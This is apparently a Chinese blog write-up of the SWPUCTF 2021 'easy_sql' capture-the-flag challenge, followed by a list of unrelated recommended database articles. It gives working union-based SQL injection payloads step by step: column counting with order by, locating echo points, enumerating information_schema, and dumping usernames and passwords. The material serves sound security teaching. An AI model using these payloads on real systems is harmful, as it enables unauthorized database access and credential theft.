[SWPUCTF 2021 新生赛]easy_sql

1.题目

2.打开题目如图

文章的标题说参数是wllm,那么我们传入参数测试,返回如下,我们试试1'去找注入类型

注入类型

数字型sql注入

字符型sql注入

我们传入wllm=1'的时候发现报错了,然后使用注释符闭合,不报错了,所以是字符型注入闭合为单引号

3.构造payload语句解题

1' order by 1--+ //正常

1' order by 2 --+ //正常

1' order by 3 --+ //正常

1' order by 4 --+ //报错

........................

我们可以知道这个数据库有4列,然后我们来判断回显点

语句:-1' union select 1,2,3--+ //这个闭合使用%23和--+都可以 ||'也可以闭合,这里没有返回回显点,忘记了需要用-1或这个不存在的,这样它差不到数据,才返回回显点

如下图,成功回显

发现有两个回显点,用哪个都可以,构造语句查看数据库

-1'union select 1,database(),3--+

查到数据库的名字是test_db然后通过数据库去查表名

-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db' --+

得到了一个test_db和一个users表

通过表名去查字段

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

查到了一堆的字段,其中username和password比较敏感,我们去看这两个字段的内容

-1'union select 1,group_concat(username,password),3 from test_db.users--+

很抱歉,这里发现flag不在username和password字段,而是再test_tb表中的flag字段中

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb'--

相关推荐
变形侠医5 小时前
比 Kettle 快2倍的 Java ETL 开源库:Etl-engine
数据库
soft20015255 小时前
从一次增删改操作开始:彻底理解 MySQL Buffer Pool 的地位与作用
数据库·mysql
feathered-feathered5 小时前
Redis基础知识+RDB+AOF(面试)
java·数据库·redis·分布式·后端·中间件·面试
whm27775 小时前
Visual Basic 建立数据库
开发语言·数据库·visual studio
檀越剑指大厂6 小时前
【数据库系列】倒排索引(Inverted Index)
数据库·inverted-index
闲人编程6 小时前
权限系统设计与RBAC实现
java·网络·数据库·rbac·权限·codecapsule
花月C6 小时前
基于Redis的BitMap数据结构实现签到业务
数据结构·数据库·redis
hgz07106 小时前
数据库事务
数据库·mysql
老华带你飞6 小时前
二手商城|基于springboot 二手商城系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端·spring
@小码农6 小时前
6547网:2025年9月 Python等级考试(三级)真题及答案
服务器·数据库·python